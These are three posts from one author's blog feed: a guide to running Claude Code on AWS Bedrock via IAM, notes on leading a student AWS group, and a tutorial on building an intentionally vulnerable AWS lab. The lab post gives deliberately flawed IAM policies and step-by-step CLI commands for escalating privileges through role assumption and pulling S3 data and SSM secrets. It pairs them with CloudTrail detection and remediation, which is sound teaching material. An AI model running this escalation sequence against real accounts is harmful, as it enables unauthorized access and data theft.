DEV Community: Karan Vaghela

Setting Up AWS Bedrock with Claude Code via IAM — No Hardcoded Keys, Ever

Karan Vaghela — Fri, 29 May 2026 19:27:23 +0000

Posted by Karan Vaghela | Leader, AWS Student Builder Groups at P P Savani University | Cybersecurity & Cloud

The fastest way to get your AWS project hacked is to hardcode your credentials somewhere. An AWS_ACCESS_KEY_ID sitting in a .env file that accidentally gets pushed to GitHub is a classic mistake, and it happens to experienced engineers too, not just beginners.

When I was setting up Claude on Amazon Bedrock for a project, I made sure the entire flow used IAM roles and profiles — zero hardcoded keys anywhere. This post walks through exactly how to do that, why it matters, and the specific gotchas I ran into along the way.

Why IAM Roles Over Access Keys

Access keys are long-lived credentials. If they leak, an attacker has persistent access until you manually rotate or revoke them. IAM roles, on the other hand, issue temporary credentials that expire automatically. They are the AWS-recommended approach for any application running on AWS infrastructure, and they are what you should be using even for local development once you understand the pattern.

The security principle here is simple: credentials should be as short-lived and as scoped as possible. IAM makes this the default if you set it up right.

The Setup: Claude Code CLI on Bedrock via IAM

Here is the exact configuration I used. The goal was to run Claude Code CLI backed by Bedrock, authenticated entirely through IAM with no keys in any config file.

Step 1: Create a Named AWS Profile

Instead of using the default profile, create a named one so you can switch contexts cleanly.

Edit ~/.aws/credentials:

[bedrock-dev]
aws_access_key_id = YOUR_ACCESS_KEY
aws_secret_access_key = YOUR_SECRET_KEY

And ~/.aws/config:

[profile bedrock-dev]
region = us-east-1
output = json

This is still using access keys locally, but they are scoped to a named profile and never leave your machine. The key move is what happens next.

Step 2: Scope the IAM Policy

Create an IAM policy that grants only what Bedrock needs. Nothing more.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "bedrock:InvokeModel",
        "bedrock:InvokeModelWithResponseStream"
      ],
      "Resource": [
        "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-*"
      ]
    }
  ]
}

Attach this policy to an IAM user or role. Do not use AdministratorAccess or any wildcard resource. Least privilege is the rule.

Step 3: Configure Claude Code to Use Bedrock

In ~/.claude/settings.json:

{
  "env": {
    "CLAUDE_CODE_USE_BEDROCK": "1",
    "AWS_PROFILE": "bedrock-dev",
    "AWS_REGION": "us-east-1",
    "ANTHROPIC_MODEL": "anthropic.claude-sonnet-4-20250514",
    "ANTHROPIC_SMALL_FAST_MODEL": "anthropic.claude-haiku-4-5-20251001"
  }
}

Three things to note here:

AWS_REGION must be explicit. Do not assume it will be picked up from your AWS config. If this is missing, Claude Code will fail silently or fall back to a default region where your model may not be available. Always set it.

AWS_PROFILE must match exactly. The string here must match the profile name in your ~/.aws/config exactly, including case.

/login and /logout do not work in Bedrock mode. These commands are only for Anthropic's direct API with an API key. In Bedrock mode, authentication is entirely handled by your AWS credentials. Do not look for them.

Step 4: Verify the Connection

Run a quick test:

aws bedrock list-foundation-models --profile bedrock-dev --region us-east-1 | grep claude

If you see Claude models listed, your IAM setup is correct and Bedrock is reachable. If you get an AccessDeniedException, check your policy. If you get an error about the region, check that your selected region actually has Bedrock available — not all regions do.

The Production Pattern: No Keys at All

If you are running this on an EC2 instance, Lambda, or any AWS compute, you should not have any access keys anywhere. Instead, attach an IAM role to the compute resource directly.

For EC2:

Create an IAM role with the Bedrock policy above attached.
Attach the role to your EC2 instance under Actions > Security > Modify IAM Role.
Remove any aws_access_key_id and aws_secret_access_key from your credentials file on that machine.

The AWS SDK will automatically pick up credentials from the instance metadata service. Your application code does not change. Your ~/.aws/config just needs the region:

[default]
region = us-east-1

No keys. No secrets. The role does everything.

What Not to Do

A few patterns I see people use that you should avoid:

Do not put credentials in your .env file and add .env to .gitignore. This is better than nothing but still risky. .gitignore rules have edge cases, and if you ever run git add -f or misconfigure something, those keys are in your history forever. Use IAM profiles.

Do not use your root account credentials for anything. Ever. Create an IAM user with only the permissions you need. The root account should have MFA enabled and nothing else touching it.

Do not share credentials across environments. Your dev IAM user and your production IAM role should be completely separate identities with separate policies. If your dev credentials leak, your production environment should be unaffected.

Why This Matters Beyond Security

There is a practical ops benefit too. When you use IAM profiles and roles properly, rotating credentials becomes a non-event. You update the IAM user's keys in one place, update your ~/.aws/credentials, and everything downstream picks it up. No hunting through .env files across multiple projects.

For a student or someone early in their career, building this habit now means you will never be the engineer who accidentally commits an API key. That matters more than it sounds.

Quick Reference

Situation	Approach
Local dev machine	Named IAM profile in `~/.aws/credentials`
EC2 / Lambda / ECS	IAM role attached to compute, no keys
CI/CD pipeline	OIDC identity provider or short-lived role assumption
Never	Hardcoded keys in code or `.env` files

Bedrock is a powerful way to run foundation models without managing your own infrastructure. Setting it up with IAM properly from the start means you get all that power without the security debt that trips up so many early projects.

If you run into specific errors while setting this up, drop them in the comments. Happy to help debug.

Tags: #aws #bedrock #iam #security #cloud #beginners

What It’s Really Like Leading an AWS Student Builder Group

Karan Vaghela — Thu, 28 May 2026 19:01:15 +0000

How I Built an AWS Student Builder Group from Zero — Lessons from the First-Ever Leader at My University

*Karan Vaghela | AWS Student Builder Group Leader, P P Savani University | Cloud & Security *

There was no playbook. No senior batch to ask. No one who had done it before at my college.

When I became the first-ever AWS Student Builder Group Leader at P P Savani University in Surat, I was quite literally building the aircraft while flying it. And honestly, that's what made it one of the most valuable experiences of my life so far.

This is what I learned, the real stuff, not the highlight reel.

Starting from Scratch Is a Feature, Not a Bug

When AWS Student Builder Groups reached our campus, there was no existing structure, no cultural expectation, no "how things have always been done." That felt scary at first.

Turns out, it's actually an advantage.

We got to define what the community stood for. We decided early that we weren't going to be another seminar club where students show up, listen, and leave. We built around builders, people who want to actually touch services, break things, and learn from the mess.

Our first event wasn't a grand launch. It was a small hands-on session on IAM and S3 where we gave people AWS accounts and said, "go explore, we'll help you when you get stuck." People responded to that. They didn't come for certificates, they came back because it felt real.

The Structure That Actually Works

One of the biggest early mistakes I made was trying to do everything myself. Classic. I thought being the leader meant being responsible for every output.

After months of trial and error, we restructured into three focused squads:

Cloud Growth — responsible for outreach, new member onboarding, and growing Builder IDs. If someone new walks in, this team owns their journey from "what's AWS" to first hands-on lab.
Builder Core — the technical engine. These are the members running workshops, building demos, and doing the deep dives on specific services.
Deploy Ops — handles the logistics: event coordination, social presence, documentation, and keeping the community actually running without chaos.

This structure mirrors how AWS Student Builder Groups are designed, and it works. People have clarity on what they own. They step up when it's their area, and they don't step on each other.

What I Tell Students Who Join

I tell every new member three things:

Your goal for the first month is just to break something on AWS. Not to build a production system. Not to pass a certification. Break something, understand why it broke, and fix it. That's the whole curriculum.
The free tier is your lab. Most of what you need to learn, EC2, S3, Lambda, IAM, RDS basics, can be done inside free-tier limits. Budget excuses don't hold.
The community is the actual resource. The Builder Center, Stack Overflow, AWS re:Post, these are where the real answers live. Learn to search properly and you'll be ahead of 90% of students who just read slides.

What Being a "First" Actually Means

There's a weight to being the first leader of anything. You're setting precedent. The way you run things, the values you establish, the culture you normalize, all of that outlasts you.

I want the next leader of our community to inherit a culture that takes learning seriously. That treats security as a first-class concern, not an afterthought. That has members who go on to build real things with cloud infrastructure, not just list "cloud knowledge" as a resume bullet.

That's the goal. And we're not there yet. But the direction is right.

If You're About to Start Your Own Builder Group

A few things I'd tell you before you begin:

Don't wait until you feel ready. You'll figure it out as you go.
Define your niche early. "General cloud community" is hard to market. "Builders who actually deploy stuff" is a community.
Hands-on always beats slides. Always.
Document everything from day one. Your event reports, attendance, what worked, what flopped. These become your track record.
Connect with other Student Builder Group Leaders. The global network is one of the underrated benefits of the program.

The work is unglamorous. You'll send three follow-up messages to get one reply. You'll plan an event for 40 people and 12 will show. You'll have sessions where the WiFi dies and the demo breaks.

Do it anyway. The cumulative effect of consistent, genuine community building is something you can't manufacture, and it shows up in ways you don't expect.

I'm an AWS Student Builder Group Leader and a 3rd-year Cybersecurity student at P P Savani University, Surat. I'm also pursuing CPTS via HTB Academy and submitting original vulnerable machines to OffSec's Proving Grounds as a security researcher. Connect with me on AWS Builder Center.

Tags: #aws-student-builder-groups #aws-community #aws-ambassador #cloudcomputing #leadership #cybersecurity

Building an Intentionally Vulnerable AWS Lab to Teach Cloud Security

Karan Vaghela — Sun, 21 Dec 2025 18:09:28 +0000

Introduction

Most cloud engineers learn AWS by building functional infrastructure deploying EC2 instances, configuring S3 buckets, setting up VPCs. They pass certification exams that test theoretical knowledge of IAM policies and security groups. But they rarely see how attackers actually exploit cloud environments.

This gap is dangerous. Real-world cloud breaches don't happen because engineers forget to enable encryption. They happen because of subtle misconfigurations in IAM policies, overly permissive roles, and broken trust boundaries that look reasonable at first glance but create exploitable attack paths.

Intentionally vulnerable labs solve this problem. By building AWS environments with realistic security flaws, we can teach defenders what attackers see, how privilege escalation actually works, and why certain IAM patterns are toxic. This isn't about learning to attack it's about understanding the mechanics of cloud security failures so you can prevent them.

The common problem: you can read documentation about IAM wildcards being dangerous, or you can actually exploit an overly permissive policy and watch yourself gain admin access from a low-privilege starting point. One of these teaches you how to secure AWS. The other just tells you to.
Lab Architecture Overview

This lab simulates a small development environment with a web application backend. The architecture includes common AWS services with deliberately introduced weaknesses that mirror real-world misconfigurations.

Trust Boundaries:

IAM user → IAM role assumption (vulnerable boundary)
Public subnet → Private subnet (network boundary)
EC2 instance → S3 bucket (service boundary)

Attack Surface:

IAM policies allowing unintended role assumption
EC2 instance metadata service (IMDSv1)
Overly permissive S3 bucket policies
CloudTrail logs accessible to unauthorized principals

AWS Services Used

IAM (Identity and Access Management)

Core authentication and authorization mechanism
Policies determine who can do what
Most cloud breaches involve IAM misconfiguration, making it critical for security learning

EC2 (Elastic Compute Cloud)

Represents compute resources with attached IAM roles
Instance metadata service is a common attack vector
Demonstrates how compromised instances lead to credential exposure

S3 (Simple Storage Service)

Holds sensitive application data (simulated customer records, config files)
Misconfigured bucket policies are among the most common cloud vulnerabilities
Teaches object-level access controls and bucket permissions

CloudTrail

Logs all AWS API calls for auditing and forensics
Essential for detection and incident response
Demonstrates what attackers leave behind and how defenders investigate

VPC (Virtual Private Cloud)

Network isolation and segmentation
Security groups and NACLs control traffic flow
Shows relationship between network security and identity-based security

Systems Manager (SSM)

Parameter Store can hold secrets and configuration
Often misconfigured to allow unauthorized access
Demonstrates lateral movement paths through configuration services

Secrets Manager (optional)

Stores sensitive credentials with rotation capabilities
When misconfigured, becomes a treasure trove for attackers
Shows the difference between encrypted storage and access control

Intentional IAM Misconfigurations
The core vulnerability in this lab is an IAM trust policy that allows unintended role assumption. This mirrors a common real-world pattern where developers create roles for specific services but accidentally make them assumable by broader principals.
Vulnerable IAM Role: app-role

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Why This Is Dangerous:

Using the account root ARN (arn:aws:iam::ACCOUNT_ID:root) in a trust policy means any principal in that account can assume the role, not just the root user. This is a subtle but critical misunderstanding. Developers often think they're restricting access to the root user, but they're actually allowing all IAM users and roles in the account.
The role's permission policy grants extensive S3 access:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": [
        "ssm:GetParameter",
        "ssm:GetParameters"
      ],
      "Resource": "arn:aws:ssm:us-east-1:123456789012:parameter/app/*"
    }
  ]
}

Additional Misconfiguration: DevUser Policy
The DevUser is intended to have limited read-only access but has this policy attached:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:ListRoles",
        "iam:GetRole",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    }
  ]
}

The problem: DevUser can list all roles and assume any role that trusts the account. Combined with the vulnerable trust policy on app-role, this creates a privilege escalation path.
Attacker's Perspective (Red Team View)

⚠️ LAB ENVIRONMENT ONLY - DO NOT USE ON PRODUCTION OR UNAUTHORIZED SYSTEMS ⚠️

Starting Point: Compromised DevUser credentials (leaked in code repository, phished, etc.)

Step 1: Enumerate IAM Roles
bash# List all roles in the account
aws iam list-roles --profile devuser

Get details about interesting roles

aws iam get-role --role-name app-role --profile devuser
The attacker discovers app-role and examines its trust policy. They notice the trust policy allows any principal in the account to assume it.
Step 2: Check Current Identity
bash# Confirm current identity
aws sts get-caller-identity --profile devuser

Output:

{
     "UserId": "AIDAI4EXAMPLE",
     "Account": "123456789012",
     "Arn": "arn:aws:iam::123456789012:user/DevUser"
}

Step 3: Assume the Privileged Role

Assume app-role

aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/app-role \
  --role-session-name attacker-session \
  --profile devuser

Output includes temporary credentials:

 {
   "Credentials": {
        "AccessKeyId": "ASIAXXX",
        "SecretAccessKey": "xxx",
        "SessionToken": "xxx",
        "Expiration": "2025-12-21T22:00:00Z"
    }
 }

Step 4: Configure Temporary Credentials

Export the temporary credentials
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"

# Verify new identity
aws sts get-caller-identity

# Output:
# {
#     "UserId": "AROAXXXXX:attacker-session",
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session"
# }

Step 5: Access Sensitive Data
bash

# List objects in the production bucket
aws s3 ls s3://app-data-prod/

# Download sensitive files
aws s3 cp s3://app-data-prod/customer-data.csv .
aws s3 cp s3://app-data-prod/api-keys.json .

# Retrieve secrets from Parameter Store
aws ssm get-parameter --name /app/database-password --with-decryption
aws ssm get-parameter --name /app/api-key --with-decryption

Attack Path Summary:

Low-privilege DevUser → Enumerate IAM roles
Discover app-role with misconfigured trust policy
Assume app-role using STS
Access production S3 bucket and SSM parameters with elevated privileges
Exfiltrate sensitive data

What Makes This Realistic:

Developers commonly misunderstand IAM trust policy syntax
Low-privilege accounts often have sts:AssumeRole for legitimate reasons
The escalation path isn't obvious from any single policy it requires combining permissions
No alerts fire because the role assumption is technically authorized

Defender's Perspective (Blue Team View)
Detection Strategy:
CloudTrail logs contain all the evidence needed to detect this attack. The key is knowing what to look for.
Indicator 1: Role Enumeration

{
  "eventName": "GetRole",
  "eventTime": "2025-12-21T18:23:45Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleName": "app-role"
  },
  "sourceIPAddress": "203.0.113.45"
}

Why This Matters: DevUser listing and examining roles, especially those it shouldn't need to know about, is suspicious. Most users don't enumerate IAM roles unless they're investigating privilege escalation paths.
Indicator 2: Unusual AssumeRole Activity

{
  "eventName": "AssumeRole",
  "eventTime": "2025-12-21T18:24:12Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::123456789012:role/app-role",
    "roleSessionName": "attacker-session"
  },
  "resources": [
    {
      "type": "AWS::IAM::Role",
      "ARN": "arn:aws:iam::123456789012:role/app-role"
    }
  ]
}

Why This Matters: DevUser has never assumed this role before. Baseline behavior analysis would flag this as anomalous. Additionally, the session name "attacker-session" is obviously suspicious (though real attackers would use something more innocuous).
Indicator 3: S3 Access from New Principal

{
  "eventName": "GetObject",
  "eventTime": "2025-12-21T18:25:33Z",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAXXXXX:attacker-session",
    "arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session",
    "accountId": "123456789012",
    "sessionContext": {
      "sessionIssuer": {
        "type": "Role",
        "principalId": "AROAXXXXX",
        "arn": "arn:aws:iam::123456789012:role/app-role",
        "accountId": "123456789012",
        "userName": "app-role"
      }
    }
  },
  "requestParameters": {
    "bucketName": "app-data-prod",
    "key": "customer-data.csv"
  }
}

Why This Matters: The app-role is typically assumed by EC2 instances, not by IAM users. Seeing an IAM user assume this role and immediately access sensitive S3 objects is highly anomalous.

Detection Implementation:

CloudWatch Logs Insights Query:

fields @timestamp, userIdentity.userName, eventName, requestParameters.roleArn
| filter eventName = "AssumeRole"
| filter userIdentity.type = "IAMUser"
| filter requestParameters.roleArn like /app-role/
| sort @timestamp desc

GuardDuty Finding:
GuardDuty would generate a Policy:IAMUser/RootCredentialUsage or similar finding if configured properly. While our specific pattern might not trigger a built-in finding, GuardDuty's anomaly detection would flag unusual IAM activity.
Manual Detection Checklist:

IAM users assuming roles they've never used before
Multiple GetRole calls before an AssumeRole
Access to S3 buckets from principals that don't normally access them
SSM parameter retrieval outside of normal application patterns
Source IP addresses from unexpected regions or ASNs

Real-World Detection:
In production environments, this attack is commonly caught by:

UEBA (User and Entity Behavior Analytics) tools that establish baselines
CloudTrail analysis in SIEM platforms (Splunk, Datadog, etc.)
AWS Config rules that alert on role assumption by unexpected principals
S3 access logging combined with anomaly detection

The attacker is caught when a security analyst reviews CloudTrail logs and notices the unusual sequence of IAM enumeration → role assumption → sensitive data access from a principal that shouldn't have this access pattern.
Remediation and Secure Design
Fixed IAM Role Trust Policy:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "unique-external-id-12345" } } } ] }

Key Changes:

Principal is now ec2.amazonaws.com service, not account root
Added ExternalId condition for additional verification
Only EC2 instances can assume this role, not IAM users

Fixed DevUser Policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": [
        "iam:*",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    }
  ]
}

Key Changes:

Removed IAM enumeration permissions
Explicitly deny sts:AssumeRole to prevent role switching
Apply least privilege only permissions actually needed

S3 Bucket Policy with Least Privilege:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:role/app-role"
      },
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::app-data-prod/*",
      "Condition": {
        "StringEquals": {
          "s3:ExistingObjectTag/Environment": "production"
        }
      }
    },
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ],
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}

AWS-Native Security Controls:

Enable IMDSv2 on EC2 Instances bashaws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-tokens required \ --http-put-response-hop-limit 1
Use IAM Access Analyzer bash# Create analyzer to detect external access aws accessanalyzer create-analyzer \ --analyzer-name account-analyzer \ --type ACCOUNT
Enable GuardDuty bashaws guardduty create-detector --enable
Implement SCPs (Service Control Policies) For organizations with multiple accounts, use SCPs to prevent dangerous IAM patterns:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "iam:CreateAccessKey",
        "iam:CreateUser"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalOrgID": "o-xxxxxxxxxx"
        }
      }
    }
  ]
}

CloudTrail Best Practices

Enable log file validation
Store logs in a separate security account
Enable MFA delete on log bucket
Set up alerts for critical IAM events

Least Privilege Principles Applied:

Service-specific principals: Roles should trust services (like EC2, Lambda), not account root
Condition keys: Add conditions to further restrict when policies apply
Explicit denies: Use deny statements to prevent circumvention
Time-bounded credentials: Use temporary credentials with short expiration
Resource-level permissions: Specify exact resources, avoid wildcards
Regular auditing: Use Access Analyzer and IAM Access Advisor to find unused permissions

Lessons Learned

IAM Trust Policies Are Not Intuitive
The biggest lesson: "Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} does not mean "only the root user." It means "any principal in this account." This single misunderstanding causes countless production incidents. You can read this in documentation, but exploiting it in a lab makes it unforgettable.
Enumeration Is the First Step
Attackers with limited credentials immediately enumerate what's available. They run list-roles, list-users, describe-instances, list-buckets. Defenders need to treat excessive enumeration as a red flag, not normal behavior. Baselines matter.
Privilege Escalation Paths Are Rarely Obvious
The vulnerable path in this lab requires combining three elements: DevUser's sts:AssumeRole permission, app-role's trust policy, and app-role's S3 permissions. No single policy looks immediately dangerous. Real attacks work the same way they chain together reasonable-looking permissions into exploitation.
Detection Requires Context
A single AssumeRole call isn't suspicious. An IAM user assuming a role normally used by EC2 instances is suspicious. Good detection isn't about alerting on individual events it's about understanding normal behavior and flagging deviations.
Least Privilege Is Hard
Writing the remediated policies takes more effort than writing the vulnerable ones. The secure versions require understanding service principals, condition keys, and resource ARNs. This is why overly permissive policies are so common they're easier. Labs teach you the cost of taking shortcuts.
Theory vs. Practice Gap
Reading "don't use wildcards in IAM policies" teaches you nothing. Exploiting a wildcard in Resource: "*" to access sensitive S3 buckets teaches you why the rule exists. Building and breaking systems creates understanding that studying alone cannot.
CloudTrail Is Your Forensic Foundation
Every action in this attack is logged. The evidence is there. But if you don't know what to look for, or if your logs are poorly organized, you won't find it. Effective security requires not just enabling CloudTrail, but actively querying and analyzing it.
Defense Depth Matters
The remediation doesn't rely on a single control. It combines: fixed trust policies, least privilege IAM policies, S3 bucket policies, GuardDuty, IAM Access Analyzer, and IMDSv2. Layered security means an attacker has to bypass multiple controls, not just one.
What This Lab Teaches That Theory Cannot:

The muscle memory of running AWS CLI commands as an attacker
What CloudTrail logs actually look like during an attack
The psychological experience of privilege escalation (it feels easy, which is alarming)
How to write IAM policies that actually stop these attacks
Why security engineering is about understanding attacker tradecraft

Conclusion

Building intentionally vulnerable AWS labs bridges the gap between theoretical cloud security knowledge and practical defensive skills. When you've successfully exploited an IAM misconfiguration yourself, you understand viscerally why certain patterns are dangerous. When you've hunted through CloudTrail logs to detect your own simulated attack, you know what to look for in production.
This isn't about learning to be an attacker. It's about thinking like one so you can build defenses that actually work. Cloud security isn't about memorizing AWS documentation it's about understanding how identity, permissions, and trust boundaries interact in ways that create exploitable paths.
The lab environment described here is a starting point. Extend it. Add Lambda functions with overly permissive execution roles. Configure an S3 bucket with public access. Create an EC2 instance with IMDSv1 enabled and credentials in user data. Each vulnerability you add is another lesson for anyone who works through it.
Security teams benefit from engineers who understand both offense and defense. DevSecOps teams need people who can review IAM policies and spot privilege escalation risks. Cloud architects need to design systems that are secure by default, not retrofit security later. Labs like this train all of those skills simultaneously.
Build these environments in isolated AWS accounts. Document the vulnerabilities. Walk teammates through the exploitation and remediation. Host internal workshops where engineers red team each other's infrastructure. The AWS community grows stronger when we learn from controlled failures rather than production incidents.
Responsible experimentation in lab environments is how we develop the expertise to secure production systems. This is ethical learning done right controlled, educational, and defensive-minded. The goal is never to exploit real systems. It's to understand exploitation well enough that you can prevent it.